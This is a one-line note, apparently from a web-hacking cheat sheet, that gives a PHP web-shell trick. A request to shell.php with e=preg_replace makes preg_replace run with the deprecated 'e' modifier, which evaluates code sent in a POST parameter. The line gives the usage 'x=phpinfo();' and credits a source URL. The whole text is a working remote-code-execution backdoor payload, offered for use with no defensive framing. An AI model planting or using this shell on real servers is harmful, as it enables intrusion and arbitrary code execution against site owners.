shell.php?e=preg_replace ==> preg_replace('|.*|e',$_POST['x'],'') use: post x=phpinfo(); from: https://www.sqlsec.com/2020/07/shell.html